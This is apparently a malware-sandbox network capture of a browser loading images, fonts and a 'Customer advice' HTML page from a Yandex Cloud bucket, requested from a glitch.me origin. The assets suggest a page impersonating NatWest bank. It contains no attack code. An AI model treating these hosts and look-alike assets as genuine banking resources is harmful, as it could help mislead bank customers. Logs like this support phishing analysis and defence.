2024-05-27 22:44:26 UTC	631	OUT	GET /combined-shape.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eclipse.website.yandexcloud.net/npc.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 359 Connection: close Accept-Ranges: bytes Etag: "3d738a237a2dd5f3075939942052d472" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 38d8ff243a18c52c
2024-05-27 22:44:27 UTC	359	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 0d 08 06 00 00 00 72 eb e4 7c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 21 49 44 41 54 28 15 8d 52 3d 4b 03 41 10 9d b7 9c 8a 85 8d 5d 4e a3 a5 04 c1 3a d8 05 2c 6d b2 9d 68 ef 6f 30 44 8b 8b e9 f4 4f 44 db 33 44 10 c4 46 2d 84 a0 95 36 e9 52 68 72 60 e1 2f b8 5c c6 d9 d3 83 c5 cd 82 0f 66 77 df cc 7b cc 7e 21 0e 5b af 00 9f eb f1 49 87 04 57 61 eb 92 99 f7 cd da 87 80 98 b7 a4 58 29 04 20 ea 10 e8 a3 e0 3f 33 96 44 77 c8 44 81 e1 f9 60 0b ea c9 f1 9d 70 13 39 e2 f5 76 89 d2 e9 8d 10 05 c2 80 89 2b ea b7 36 73 ba 5e 8b 36 29 cd fa 20 de 00 94 26 70 cf 08 bd a6 de 4a bb 96 4e f0 44 8c 45 28 55 d3 49 33 37 78 4d dd d5 e8 60 c2 d9 ad 74 f8 5c 98 0b aa f5 51 f3 d9 de 8a d3 a9 1b 9e ee Data Ascii: PNGIHDRr\|sRGB!IDAT(R=KA]N:,mho0DOD3DF-6Rhr`/\fw{~![IWaX) ?3DwD`p9v+6s^6) &pJNDE(UI37xM`t\Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49740	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	629	OUT	GET /RNHouseSansW05-Regular.woff HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	194	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 225 Connection: close X-Amz-Request-Id: b578c83e56e57af3
2024-05-27 22:44:27 UTC	225	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 43 6f 64 65 3a 20 4e 6f 53 75 63 68 4b 65 79 3c 2f 6c 69 3e 0a 3c 6c 69 3e 4d 65 73 73 61 67 65 3a 20 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 52 65 71 75 65 73 74 49 44 3a 20 62 35 37 38 63 38 33 65 35 36 65 35 37 61 66 33 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 72 2f 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><ul><li>Code: NoSuchKey</li><li>Message: The specified key does not exist.</li><li>RequestID: b578c83e56e57af3</li></ul><hr/></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49744	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	373	OUT	GET /radio-selected.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 1633 Connection: close Accept-Ranges: bytes Etag: "2ac5b52fbdb0be1bbc9506a24f78afe9" Last-Modified: Mon, 04 Sep 2023 09:44:20 GMT X-Amz-Request-Id: e1e69ac99bb8cd68
2024-05-27 22:44:27 UTC	1633	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 01 04 7d 4a 62 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 06 1b 49 44 41 54 58 09 a5 57 0d 4c d5 55 14 3f f7 8f f1 1e 20 a2 28 e1 23 4a be 65 5a a4 0b a7 29 9a 6c a6 64 cd 29 a6 95 d8 d7 e6 da ca ad ad d6 aa 8d 41 ee 21 ae 5a ab ad 4d 69 a6 b3 0f b5 a6 22 e4 b2 40 59 3a 45 d3 b4 30 48 c7 97 88 85 e0 57 22 10 c2 23 79 ff ee ef 3e ee 7d f7 fd df 7b 84 75 b7 f7 ee b9 e7 fb 7f fe e7 9c 7b fe 44 43 ab d4 e1 ec 01 68 e0 cf e4 6b 54 44 e8 68 ec 06 28 fb 52 df a3 db bd 03 a0 11 c3 1f 28 d8 d5 2a 8b 73 6e 2c 77 14 2f 12 08 2e 62 76 37 5c 05 93 09 98 01 d8 1b 57 24 88 4b 9a de 22 02 56 2e c0 82 f2 4d 7c 71 86 4e 00 83 22 c2 00 10 d0 0b a4 fc 01 57 b7 be ca 34 98 19 b2 0f 6a 22 d3 Data Ascii: PNGIHDR }JbsRGBIDATXWLU? (#JeZ)ld)A!ZMi"@Y:E0HW"#y>}{u{DChkTDh(R(*sn,w/.bv7\W$K"V.M\|qN"W4j"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49743	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	364	OUT	GET /plogo.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 5679 Connection: close Accept-Ranges: bytes Etag: "cce808c0c23f731523eb4b7298ad18d8" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: b88ea1ea93d5803e
2024-05-27 22:44:27 UTC	5679	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 6a 08 06 00 00 00 2b f0 d6 66 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 15 e6 49 44 41 54 78 01 ed 5d 09 58 55 d5 16 fe b9 cc f3 ac 22 a8 08 ce e2 98 22 14 4f 9c 2d 9b 4c cd 29 cd 7a e6 2b 9b 07 eb f5 9a cb 06 cb ca 26 5f 96 af 67 a5 a5 a6 a6 39 e0 2c a2 a8 38 2b 28 0e 20 02 0a a2 cc f3 0c 6f ad 8d e7 70 ee e5 5e b8 03 16 fa ee f2 bb 9e 7d f6 d9 e3 7f f6 d9 7b ad b5 f7 5a 58 d4 d6 d6 96 01 b0 a5 9f 99 0c 47 20 42 65 78 1e 73 0e 25 02 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 36 03 68 04 68 ca 2c 66 00 95 68 18 11 b6 32 22 cf 0d c9 52 5a 56 89 94 cb 59 b8 9a 53 88 ec 82 12 e4 17 15 a3 Data Ascii: PNGIHDRPj+fgAMAaIDATx]XU""O-L)z+&_g9,8+( op^}{ZXG Bexs%fh6hh,fh6hh,fh6hh,fh6hh,fh2"RZVYS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49745	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	384	OUT	GET /li5_outer_frame_top_curve.gif HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	284	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/gif Content-Length: 17540 Connection: close Accept-Ranges: bytes Etag: "b5f90335c1b50c6e46292060d68662bc" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: d1e75744ec03781e
2024-05-27 22:44:27 UTC	16100	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 0d 0a 09 43 75 73 74 6f 6d 65 72 20 61 64 76 69 63 65 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 69 64 3d 22 63 74 6c 30 30 5f 76 70 54 61 67 22 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head><title>Customer advice</title><meta id="ctl00_vpTag" name=
2024-05-27 22:44:27 UTC	1440	IN	Data Raw: 33 39 3b 68 65 61 64 65 72 57 69 6e 64 6f 77 26 23 33 39 3b 2c 26 23 33 39 3b 74 6f 70 3d 37 30 2c 6c 65 66 74 3d 36 30 2c 77 69 64 74 68 3d 38 30 30 2c 68 65 69 67 68 74 3d 36 30 30 2c 72 65 73 69 7a 61 62 6c 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 2c 6c 6f 63 61 74 69 6f 6e 3d 79 65 73 26 23 33 39 3b 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 74 77 65 73 74 2e 63 6f 6d 2f 74 6f 6f 6c 73 2f 67 65 6e 65 72 61 6c 2f 6e 77 6f 6c 62 5f 6c 65 67 61 6c 73 2f 61 63 63 65 73 73 69 62 69 6c 69 74 79 2e 68 74 6d 22 20 74 61 72 67 65 74 3d 22 68 65 61 64 65 72 57 69 6e 64 6f 77 22 3e 41 63 63 65 73 73 69 62 69 6c 69 74 79 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: 39;headerWindow','top=70,left=60,width=800,height=600,resizable=yes,scrollbars=yes,location=yes');return false;" href="https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm" target="headerWindow">Accessibility</a></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49739	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	626	OUT	GET /RNHouseSansW05-Bold.woff HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	194	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 225 Connection: close X-Amz-Request-Id: fb2d6f9c1ae123e1
2024-05-27 22:44:27 UTC	225	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 43 6f 64 65 3a 20 4e 6f 53 75 63 68 4b 65 79 3c 2f 6c 69 3e 0a 3c 6c 69 3e 4d 65 73 73 61 67 65 3a 20 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 52 65 71 75 65 73 74 49 44 3a 20 66 62 32 64 36 66 39 63 31 61 65 31 32 33 65 31 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 72 2f 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><ul><li>Code: NoSuchKey</li><li>Message: The specified key does not exist.</li><li>RequestID: fb2d6f9c1ae123e1</li></ul><hr/></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49742	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	371	OUT	GET /error-marker.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 1090 Connection: close Accept-Ranges: bytes Etag: "50f1540b40bf348f927c3ed21aba72b3" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: c2b9370ce2c8484c
2024-05-27 22:44:27 UTC	1090	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1d 08 06 00 00 00 56 93 67 0f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 03 d7 49 44 41 54 48 4b bd 97 cb 6b 54 57 1c c7 bf 73 66 c6 cc e4 41 34 49 33 01 23 56 2b 16 34 a6 90 b6 c6 82 ba 53 bb 2a a2 dd 09 b5 4b 35 ed a2 6e 45 17 8a 7f 42 6c 37 0a 82 85 2c 1a 17 ae 7c ac 44 29 8d 85 80 9a 20 48 3b 41 ac 90 29 d5 18 e6 75 67 e6 3e fa fb 9e 73 a3 b9 93 b9 73 6f 36 7e e0 cc dc f3 fa 7d 7f bf f3 ba e7 26 3c 01 11 d8 85 d7 b0 fe 78 8c e2 cd bb b0 1e 3d 45 e3 d5 bf 70 4b 65 a8 ee 2e a4 37 0f 22 b3 77 0f 7a 8e 1d 46 66 df 67 48 e5 fa fd 5e e1 b4 15 b5 5f 2e 62 71 e2 22 4a b7 1f c2 69 Data Ascii: PNGIHDRVgsRGBgAMAapHYs+IDATHKkTWsfA4I3#V+4S*K5nEBl7,\|D) H;A)ug>sso6~}&<x=EpKe.7"wzFfgH^_.bq"Ji

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49741	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:27 UTC	369	OUT	GET /white-lock.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:27 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:27 GMT Content-Type: image/png Content-Length: 285 Connection: close Accept-Ranges: bytes Etag: "4a3360fb538fcc33db66e22afbd18715" Last-Modified: Mon, 04 Sep 2023 09:44:20 GMT X-Amz-Request-Id: 4f5c043471afe68b
2024-05-27 22:44:27 UTC	285	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 12 00 00 00 16 08 06 00 00 00 cd 5f cc 41 00 00 00 e4 49 44 41 54 78 da 63 60 c0 02 fe ff ff cf 06 c4 46 40 5c f6 f7 ef df 5e 20 dd fe e7 cf 9f 48 20 2d ce 40 0a 00 6a 50 03 1a 70 f4 3f 26 38 f2 e3 c7 0f 35 a2 0c 79 f5 ea 15 cf bf 7f ff 9e 80 30 d0 b0 39 bf 7f ff f6 06 62 5f 20 7b 1e 48 0c 68 d8 93 17 2f 5e 70 13 34 08 a8 61 0a c8 6a 90 57 d0 e5 80 62 d1 20 39 a0 9a a9 c4 18 f4 00 88 cf e3 92 07 ba ea 1c d0 ac 07 c4 84 cf 0b a0 e2 ed 78 2c da 0e 54 f3 92 18 83 5e 02 f1 36 3c 06 6d 03 5a f4 8a 28 83 40 b6 e2 91 c7 6e 10 50 f0 38 50 e3 5e 18 06 2a fc 00 14 bb 83 2c 86 86 ef 80 d4 a0 89 35 82 6c f8 f7 9f 0a 80 7a 06 01 bd 71 9f 5a 2e 62 65 a0 06 18 7c 61 44 cd c0 be 44 2d 17 09 0d df c0 be 4d 15 83 80 Data Ascii: PNGIHDR_AIDATxc`F@\^ H -@jPp?&85y09b_ {Hh/^p4ajWb 9x,T^6<mZ(@nP8P^*,5lzqZ.be\|aDD-M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49747	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:28 UTC	373	OUT	GET /combined-shape.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:28 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:28 GMT Content-Type: image/png Content-Length: 359 Connection: close Accept-Ranges: bytes Etag: "3d738a237a2dd5f3075939942052d472" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 0ed884854532e779
2024-05-27 22:44:28 UTC	359	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 0d 08 06 00 00 00 72 eb e4 7c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 21 49 44 41 54 28 15 8d 52 3d 4b 03 41 10 9d b7 9c 8a 85 8d 5d 4e a3 a5 04 c1 3a d8 05 2c 6d b2 9d 68 ef 6f 30 44 8b 8b e9 f4 4f 44 db 33 44 10 c4 46 2d 84 a0 95 36 e9 52 68 72 60 e1 2f b8 5c c6 d9 d3 83 c5 cd 82 0f 66 77 df cc 7b cc 7e 21 0e 5b af 00 9f eb f1 49 87 04 57 61 eb 92 99 f7 cd da 87 80 98 b7 a4 58 29 04 20 ea 10 e8 a3 e0 3f 33 96 44 77 c8 44 81 e1 f9 60 0b ea c9 f1 9d 70 13 39 e2 f5 76 89 d2 e9 8d 10 05 c2 80 89 2b ea b7 36 73 ba 5e 8b 36 29 cd fa 20 de 00 94 26 70 cf 08 bd a6 de 4a bb 96 4e f0 44 8c 45 28 55 d3 49 33 37 78 4d dd d5 e8 60 c2 d9 ad 74 f8 5c 98 0b aa f5 51 f3 d9 de 8a d3 a9 1b 9e ee Data Ascii: PNGIHDRr\|sRGB!IDAT(R=KA]N:,mho0DOD3DF-6Rhr`/\fw{~![IWaX) ?3DwD`p9v+6s^6) &pJNDE(UI37xM`t\Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49749	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:28 UTC	368	OUT	GET /check-box.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:28 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:28 GMT Content-Type: image/png Content-Length: 157 Connection: close Accept-Ranges: bytes Etag: "b23db76451b3df600c7dbda6c93a2e2e" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 508f0115b0822cb2
2024-05-27 22:44:28 UTC	157	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 57 49 44 41 54 58 09 63 5c 2b d9 f4 9f 61 00 01 d3 00 da 0d b6 7a c0 1d c0 82 1c 02 41 cf 6a 91 b9 34 63 af 93 6a 86 9b 3d e0 21 30 ea 80 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 18 0d 81 d1 10 40 e9 19 21 f7 58 e0 5d 17 1a 33 46 a3 00 00 f4 b6 06 d6 26 1b 78 1b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR szzsRGBWIDATXc\+azAj4cj=!0@!X]3F&xIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49750	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:28 UTC	371	OUT	GET /down-chevron.png HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:28 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:28 GMT Content-Type: image/png Content-Length: 295 Connection: close Accept-Ranges: bytes Etag: "5d1201e574de6bb2d10db83ade0d098d" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 90d905d245dac0c7
2024-05-27 22:44:28 UTC	295	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 08 08 06 00 00 00 22 26 75 cf 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 e1 49 44 41 54 18 19 63 5c 2b df 2a c9 f8 fb df 36 06 86 ff af ff b3 32 c7 07 3f ac 7e ce 80 06 d6 cb 34 3b fc ff cb 30 8d 81 91 e1 62 d0 b3 da 48 c6 75 d2 2d a1 ff ff fd 5b 05 52 c7 c8 c8 78 f3 3f 2b 93 23 b2 c6 8d d2 ad 8e 7f ff ff dd f2 ff 3f 03 17 50 c9 3f 76 56 56 11 26 09 46 ae 2d 8c 0c 0c 67 41 9a fe ff ff af 0e b4 75 3f c8 76 10 1f 4d 03 03 13 13 c3 24 9f 47 95 ef 81 ea 19 18 d6 2b f4 0b fc ff f9 79 cf 7f 06 06 63 10 1f 64 23 23 03 63 e3 7f 86 7f 73 a0 36 80 04 a7 07 3d ad c9 06 ca fd 07 6b c2 a6 11 24 06 07 48 1a 40 62 70 4d 20 0e ba 8d 20 31 64 1b c0 7c 90 10 8c 01 a3 c1 1a 7f 7d de c4 f0 9f c1 12 28 Data Ascii: PNGIHDR"&usRGBIDATc\+*62?~4;0bHu-[Rx?+#?P?vVV&F-gAu?vM$G+ycd##cs6=k$H@bpM 1d\|}(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49751	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:28 UTC	628	OUT	GET /RNHouseSansW05-Regular.ttf HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://plastic-fringe-pentagon.glitch.me sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://eclipse.website.yandexcloud.net/master.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:28 UTC	194	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 27 May 2024 22:44:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 225 Connection: close X-Amz-Request-Id: 681f4a51291e1b48
